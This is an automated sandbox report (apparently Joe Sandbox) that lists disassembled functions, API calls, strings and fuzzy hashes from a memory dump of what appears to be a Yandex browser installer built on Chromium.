String ID: (0x%lx)$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string:970: assertion __n == 0 || __s != nullptr failed: basic_string(const char*, n) detected nullptr$: error 0x%lx while retrieving error 0x%lx$winhttp.dll
API String ID: 122708064-2913225727
Opcode ID: 9163afe7e75745ed21e99c94014c26e1a3c033bf64f467b054c064484012d679
Instruction ID: f0ba3a18b20dc410e313f136d8b7d4fd7b1f461290b705269c700fa6f351db0b
Opcode Fuzzy Hash: 9163afe7e75745ed21e99c94014c26e1a3c033bf64f467b054c064484012d679
Instruction Fuzzy Hash: E4F10371E042295BEB21CB64CC91BFAB7B5FFA6304F1541E9E589A7241EB706EC08B50

Function 008AAAF0 Relevance: 20.0, APIs: 4, Strings: 7, Instructions: 789COMMON

Download Yara Rule

Strings

SampleVector-max, xrefs: 008AB452
SampleVector-range_max, xrefs: 008AB4D2
SampleVector-min, xrefs: 008AB412
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008AB3EC
SampleVector-range_min, xrefs: 008AB492
..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds, xrefs: 008AACC8, 008AAEC7, 008AB176
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008AB3E2

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds$SampleVector-max$SampleVector-min$SampleVector-range_max$SampleVector-range_min
API String ID: 0-79398655
Opcode ID: 5bc2fd6bf827213765fb56c5908de7f0434153b416a4ef527be39e3c1ef6d15d
Instruction ID: 518b165f25c9430a61a799365d801998ce754738e0b4dc0406687fecfa85be35
Opcode Fuzzy Hash: 5bc2fd6bf827213765fb56c5908de7f0434153b416a4ef527be39e3c1ef6d15d
Instruction Fuzzy Hash: 1752EF70A042059FDB18DF68C891A6EB7E1FF85714F04862DE946DBB92DB31EC05CB92

Function 008BA790 Relevance: 19.8, APIs: 5, Strings: 6, Instructions: 572COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008BA82D
_strlen.LIBCMT ref: 008BA9AE
_strlen.LIBCMT ref: 008BAB23
_strlen.LIBCMT ref: 008BAC9D
GetDiskFreeSpaceExW.KERNEL32(?,?,00000000,00000000), ref: 008BADD5

Strings

GetDiskFreeSpaceEx failed, xrefs: 008BAE49
HasEnoughDiskSpace, xrefs: 008BADFF, 008BAE34, 008BAE5B
There is not enough disk space to install browser, xrefs: 008BAE14
.0.0, xrefs: 008BA7D2
SHGetFolderPath failed, xrefs: 008BAE70
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008BAD4F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen$DiskFreeSpace
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$.0.0$GetDiskFreeSpaceEx failed$HasEnoughDiskSpace$SHGetFolderPath failed$There is not enough disk space to install browser
API String ID: 1003944951-1564188721
Opcode ID: c0e6e93073d7fd63393a7febb6cada7777f5a97215ab60bf2a3231191e6264c8
Instruction ID: 0e6eb898c4306b49d0554e30dde0515be2bef4695bd7ef90241cc5f85c6b6105
Opcode Fuzzy Hash: c0e6e93073d7fd63393a7febb6cada7777f5a97215ab60bf2a3231191e6264c8
Instruction Fuzzy Hash: B7120371908341ABD714DF24C880BABBBE5FFD5714F14892CF895A7282E770AA49C793

Function 0089CE40 Relevance: 19.8, APIs: 6, Strings: 5, Instructions: 562processsynchronizationCOMMON

Download Yara Rule

APIs

SetHandleInformation.KERNEL32(?,00000001,00000001,?,009659FC), ref: 0089D03E
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,?,?,?,?), ref: 0089D2F7
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0089D384
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,?,?,?,?,?,?,009659FC), ref: 0089D3F2
GetEnvironmentStringsW.KERNEL32 ref: 0089D49F
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,009659FC), ref: 0089D4DA

Strings

launch_win.cc, xrefs: 0089CF4C, 0089D3CF, 0089D507
LaunchProcess, xrefs: 0089CF51, 0089D3D4, 0089D50C, 0089D572
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0089D4EC
..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds, xrefs: 0089D4E5
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0089D4F3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: EnvironmentObjectProcessStrings$AssignCreateFreeHandleInformationSingleWait
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\vector:1400: assertion __n < size() failed: vector[] index out of bounds$LaunchProcess$launch_win.cc
API String ID: 1486188796-4286880561
Opcode ID: fb6543fc8de74490bd1faf6ae9a173104878ef438b57cf0fce6905c19e505b2c
Instruction ID: 91b3d5a61ec84491685868d09b6ce087e5b46850922f4081719cca0ceeed73af
Opcode Fuzzy Hash: fb6543fc8de74490bd1faf6ae9a173104878ef438b57cf0fce6905c19e505b2c
Instruction Fuzzy Hash: 4B22C3716083819BDB10EF24C841BABB7E5FF89304F084A1DF989D7281EB70E945CB96

Function 008E0070 Relevance: 12.9, APIs: 1, Strings: 6, Instructions: 603COMMON

Download Yara Rule

Strings

launched, xrefs: 008E04E8, 008E050C
launched, xrefs: 008E0738, 008E073D
old_ver, xrefs: 008E07CE, 008E0833, 008E083A, 008E084B
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008E0317
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008E031E
ui, xrefs: 008E0763

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$launched$launched$old_ver$ui
API String ID: 0-478968565
Opcode ID: 11396008089887a2ce6abbfe058618ec1e0509ae776e8b60011cc8945767af29
Instruction ID: 2ad476890fb0456b0d68b52bd5bdefb4074164e2acdaf417791ce5d74ea741fe
Opcode Fuzzy Hash: 11396008089887a2ce6abbfe058618ec1e0509ae776e8b60011cc8945767af29
Instruction Fuzzy Hash: 4E32C071D002999FDF15CFA9C880AAEBBB5FF46314F148529E805F7241E7B0A985CFA1

Function 008CA000 Relevance: 12.6, APIs: 2, Strings: 4, Instructions: 2058COMMON

Download Yara Rule

APIs

__Init_thread_header.LIBCMT ref: 008CB990
__Init_thread_header.LIBCMT ref: 008CB9D2

Strings

0, xrefs: 008CA598
1, xrefs: 008CA573
?, xrefs: 008CADE0
@, xrefs: 008CA24D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Init_thread_header
String ID: 0$1$?$@
API String ID: 3738618077-2988480200
Opcode ID: 5057cac69bc56d87585c705778b3ecee2aaf894f127344f9bb46fe74025c0c68
Instruction ID: 5ea54e26629c7a8cd62ad31b9a5b92cf28b13347a51c2123f159c600048791b8
Opcode Fuzzy Hash: 5057cac69bc56d87585c705778b3ecee2aaf894f127344f9bb46fe74025c0c68
Instruction Fuzzy Hash: 90F2C1716086998FC728CE24C491B6EB7F2FB95358F28891DE4A6DB250D335EC45CB43

Function 008F4970 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?,?,008F5E87,?,00000000,?,?,00000000,?,?,-00000100,-000000FF,?), ref: 008F4981
TryAcquireSRWLockExclusive.KERNEL32(00000000,00000002,?,?,008E6A46,00000002,?,?,?), ref: 008F4A30
ReleaseSRWLockExclusive.KERNEL32(00000000,?,008F5E87,?,00000000,?,?,00000000,?,?,-00000100,-000000FF,?,?,008F56C4,?), ref: 008F4A00

Part of subcall function 008E6680: TryAcquireSRWLockExclusive.KERNEL32(00972AD0,00000000,00000000,00000000,00000000), ref: 008E669A

ReleaseSRWLockExclusive.KERNEL32(00000000,?,008E6A46,00000002,?,?,?), ref: 008F4AAF

Strings

bitset set argument out of range, xrefs: 008F4A0D
bitset reset argument out of range, xrefs: 008F4ABB
t1=, xrefs: 008F4A4A

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$Acquire$Release
String ID: bitset reset argument out of range$bitset set argument out of range$t1=
API String ID: 1678258262-157012313
Opcode ID: 570f638a0199ced85597afa9c4dcdbdcb7b1dee70681ea34812216cfd7cd2a6c
Instruction ID: d0f36e0c6f2a0cc3e039f2a553193ab9e5847d2da39ae14d33eafa1a0be19f7a
Opcode Fuzzy Hash: 570f638a0199ced85597afa9c4dcdbdcb7b1dee70681ea34812216cfd7cd2a6c
Instruction Fuzzy Hash: F2314B3335462C8BCB1C5E78AC4667F3716FBD23A5B14821AFA12C31A2D6B08C42C694

Function 008CE380 Relevance: 11.6, Strings: 9, Instructions: 337COMMON

Download Yara Rule

Strings

base, xrefs: 008CE62E
yatestscreen, xrefs: 008CE707
chrome, xrefs: 008CE6E1
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008CE516
test, xrefs: 008CE650, 008CE6F4
gen, xrefs: 008CE5F2
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008CE51D
CR_SOURCE_ROOT, xrefs: 008CE3D3
data, xrefs: 008CE672

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$CR_SOURCE_ROOT$base$chrome$data$gen$test$yatestscreen
API String ID: 0-1251466949
Opcode ID: a1a41e2daa516ebea264ccec2cd62b478263e161db8a339c432cbf35318c3810
Instruction ID: 8ca88fee3fe284b60874e3bda4f761b779620947188bc351a692ef0b4c1caa75
Opcode Fuzzy Hash: a1a41e2daa516ebea264ccec2cd62b478263e161db8a339c432cbf35318c3810
Instruction Fuzzy Hash: 2DA19670A002095BDF14AF699852FFF7B36FF85708F04442DF905E7382EA74AA05C6A2

Function 008D8AF0 Relevance: 11.1, APIs: 5, Strings: 1, Instructions: 581COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 008D8CA2
__floor_pentium4.LIBCMT ref: 008D8DED
TryAcquireSRWLockExclusive.KERNEL32(?), ref: 008D8ED8
ReleaseSRWLockExclusive.KERNEL32(?), ref: 008D8FF8
ReleaseSRWLockExclusive.KERNEL32(?), ref: 008D904D

Strings

..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008D8E88

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$Release__floor_pentium4$Acquire
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at
API String ID: 2821508176-2888085009
Opcode ID: 76c9b06a5447f2bda869bb63940f6de34cc8e03a39ec34cd228fc50ac13a95d3
Instruction ID: 6e722b82ce9b3ef9ee300895470b8466203c4d3bc81b6d38ef060dc94d95d2f5
Opcode Fuzzy Hash: 76c9b06a5447f2bda869bb63940f6de34cc8e03a39ec34cd228fc50ac13a95d3
Instruction Fuzzy Hash: F412B371B1461ACFCB18CF69D88156EB7F2FF99310718862AE506EB351EB30ED418B91

Function 008E6B90 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 376COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?), ref: 008E6E39
ReleaseSRWLockExclusive.KERNEL32(?), ref: 008E70AC

Strings

first, xrefs: 008E6FB8, 008E7059, 008E7083

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: first
API String ID: 1766480654-2456940119
Opcode ID: d730557c8644eeee16109a55f7616b03987a0788caa812098893bfe0c047b73d
Instruction ID: 99f3ec014a5f69597452af6f5bfc69589a2bc901ed111b12dd62f3b77b561731
Opcode Fuzzy Hash: d730557c8644eeee16109a55f7616b03987a0788caa812098893bfe0c047b73d
Instruction Fuzzy Hash: 4AE1E1716087418FC718CF29C88476AB7E2FFD6358F19856CE8898B292E731EC55CB81

Function 0092AA7A Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0092AC91

Strings

1#IND, xrefs: 0092AB7F
1#INF, xrefs: 0092ABB0
1#QNAN, xrefs: 0092AB8D
1#SNAN, xrefs: 0092AB86

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e633729ee0fca064e5c5b065c6d2daf4328d148a6d29e45279eb25e597e660fe
Instruction ID: d0f9cee6d523a1ae73b0ec601a7e39b1f0441f6eacd4be5285ba19a21ffbe6ec
Opcode Fuzzy Hash: e633729ee0fca064e5c5b065c6d2daf4328d148a6d29e45279eb25e597e660fe
Instruction Fuzzy Hash: BED24B72E086298FDB65CE28ED407EAB7F9EB44304F1445EAD44DE7244E778AE818F41

Function 0084EC90 Relevance: 9.1, Strings: 7, Instructions: 347COMMON

Download Yara Rule

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0084ED80
ua-u, xrefs: 0084ECF8
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0084ED87, 0084EF1B
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0084ED79
ua-r, xrefs: 0084ED0A
/support/browser/about/install.xml, xrefs: 0084EE08, 0084EE16, 0084EE6C, 0084EE7A, 0084EEB3
https://yandex., xrefs: 0084EDC9

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$/support/browser/about/install.xml$https://yandex.$ua-r$ua-u
API String ID: 0-4180415026
Opcode ID: ae60533565815002ec37422e4b8917e94c1c6597770dc5bd1b449320a4bcbaa0
Instruction ID: 24f7647e1f68c3dd4dcbb58fbb3cf3357332e425ac2ddcd2171f655950cbf5df
Opcode Fuzzy Hash: ae60533565815002ec37422e4b8917e94c1c6597770dc5bd1b449320a4bcbaa0
Instruction Fuzzy Hash: 8AC14771E0021D8FDB14CF68C881BBEBBB1FF96314F158199E905AB292D7716D84C7A2

Function 008D6B20 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(00000000,?,00000001), ref: 008D6BBD
ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 008D6C33
TryAcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,00000001,?,008AD1F0,?,008D50B1,00000001,?,?,008AC5DD,?,00000001,?), ref: 008D6D22

Strings

..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008D6C5E

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$Acquire$Release
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at
API String ID: 1678258262-2888085009
Opcode ID: dc3cb5429bf6df6033fd10763dea06112c9c5cb882e2a03225338fc78d68243a
Instruction ID: 45151120d538d0e51487d431c4ae81c5b3f9951b66e01655d4dbc92fa4287c0b
Opcode Fuzzy Hash: dc3cb5429bf6df6033fd10763dea06112c9c5cb882e2a03225338fc78d68243a
Instruction Fuzzy Hash: 64911771B1020D8BDF149F6CDC81A6E77A6FF84724B18822AE449DB352FB31DC118796

Function 008B65E0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(00966B40,?,?,00962570,009305AE,?,?,008AEA0C,00962570,?,?,?,?,?,?,-00000001), ref: 008B66D7
ReleaseSRWLockExclusive.KERNEL32(00966B40,?,?,00962570,009305AE,?,?,008AEA0C,00962570,?,?,?,?,?,?,-00000001), ref: 008B6700
